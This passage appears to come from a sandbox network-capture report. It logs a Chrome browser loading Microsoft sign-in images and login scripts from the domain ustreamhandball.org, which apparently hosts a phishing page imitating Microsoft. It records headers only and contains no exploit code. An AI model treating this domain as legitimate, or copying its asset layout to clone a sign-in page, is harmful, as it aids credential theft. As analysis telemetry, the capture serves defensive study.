2025-01-09 23:21:28 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:28 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-09 23:21:28 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 32 37 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:27 GMT
2025-01-09 23:21:28 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 44 30 35 41 35 34 37 31 36 35 45 42 42 0d 0a Data Ascii: Etag: 0x8DD05A547165EBB
2025-01-09 23:21:28 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 46 72 69 2c 20 31 35 20 4e 6f 76 20 32 30 32 34 20 31 38 3a 34 32 3a 33 37 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Fri, 15 Nov 2024 18:42:37 GMT
2025-01-09 23:21:28 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	49992	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:27 UTC	755	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.ustreamhandball.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
2025-01-09 23:21:28 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:28 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:28 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:28 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:28 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:28 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:28 UTC	29	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 0d 0a Data Ascii: Content-Type: image/svg+xml
2025-01-09 23:21:28 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 32 37 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:27 GMT
2025-01-09 23:21:28 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 42 35 43 33 46 34 39 31 31 35 32 37 46 0d 0a Data Ascii: Etag: 0x8DB5C3F4911527F
2025-01-09 23:21:28 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 32 34 20 4d 61 79 20 32 30 32 33 20 31 30 3a 31 31 3a 34 38 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Wed, 24 May 2023 10:11:48 GMT
2025-01-09 23:21:28 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	49996	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:27 UTC	510	OUT	GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
2025-01-09 23:21:28 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:28 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:28 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:28 UTC	185	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:28 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:28 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:28 UTC	25	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 67 69 66 0d 0a Data Ascii: Content-Type: image/gif
2025-01-09 23:21:28 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 32 37 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:27 GMT
2025-01-09 23:21:28 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 42 35 43 33 46 34 39 30 34 38 32 34 42 0d 0a Data Ascii: Etag: 0x8DB5C3F4904824B
2025-01-09 23:21:28 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 32 34 20 4d 61 79 20 32 30 32 33 20 31 30 3a 31 31 3a 34 38 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Wed, 24 May 2023 10:11:48 GMT
2025-01-09 23:21:28 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	50001	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:28 UTC	510	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
2025-01-09 23:21:28 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:28 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:28 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:28 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:28 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:28 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:28 UTC	29	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 0d 0a Data Ascii: Content-Type: image/svg+xml
2025-01-09 23:21:28 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 32 38 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:28 GMT
2025-01-09 23:21:28 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 42 35 43 33 46 34 37 45 32 36 30 46 44 0d 0a Data Ascii: Etag: 0x8DB5C3F47E260FD
2025-01-09 23:21:28 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 32 34 20 4d 61 79 20 32 30 32 33 20 31 30 3a 31 31 3a 34 36 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Wed, 24 May 2023 10:11:46 GMT
2025-01-09 23:21:28 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	50003	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:28 UTC	511	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
2025-01-09 23:21:28 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:28 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:28 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:28 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:28 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:28 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:28 UTC	29	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 0d 0a Data Ascii: Content-Type: image/svg+xml
2025-01-09 23:21:28 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 32 38 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:28 GMT
2025-01-09 23:21:28 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 42 35 43 33 46 34 39 31 31 35 32 37 46 0d 0a Data Ascii: Etag: 0x8DB5C3F4911527F
2025-01-09 23:21:28 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 32 34 20 4d 61 79 20 32 30 32 33 20 31 30 3a 31 31 3a 34 38 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Wed, 24 May 2023 10:11:48 GMT
2025-01-09 23:21:28 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	50051	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:36 UTC	755	OUT	GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.ustreamhandball.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
2025-01-09 23:21:36 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:36 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:36 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:36 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:36 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:36 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:36 UTC	29	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 0d 0a Data Ascii: Content-Type: image/svg+xml
2025-01-09 23:21:36 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 33 36 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:36 GMT
2025-01-09 23:21:36 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 42 35 43 33 46 34 39 45 44 39 36 45 30 0d 0a Data Ascii: Etag: 0x8DB5C3F49ED96E0
2025-01-09 23:21:36 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 32 34 20 4d 61 79 20 32 30 32 33 20 31 30 3a 31 31 3a 34 39 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Wed, 24 May 2023 10:11:49 GMT
2025-01-09 23:21:36 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	50050	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:36 UTC	716	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_cc2c59f5ef2c09e14b08.js HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.ustreamhandball.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
2025-01-09 23:21:36 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:36 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:36 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:36 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:36 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:36 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:36 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-09 23:21:36 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 33 36 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:36 GMT
2025-01-09 23:21:36 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 44 30 35 41 35 34 37 39 42 43 31 41 35 0d 0a Data Ascii: Etag: 0x8DD05A5479BC1A5
2025-01-09 23:21:36 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 46 72 69 2c 20 31 35 20 4e 6f 76 20 32 30 32 34 20 31 38 3a 34 32 3a 33 38 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Fri, 15 Nov 2024 18:42:38 GMT
2025-01-09 23:21:36 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	50058	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:36 UTC	511	OUT	GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
2025-01-09 23:21:37 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:37 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
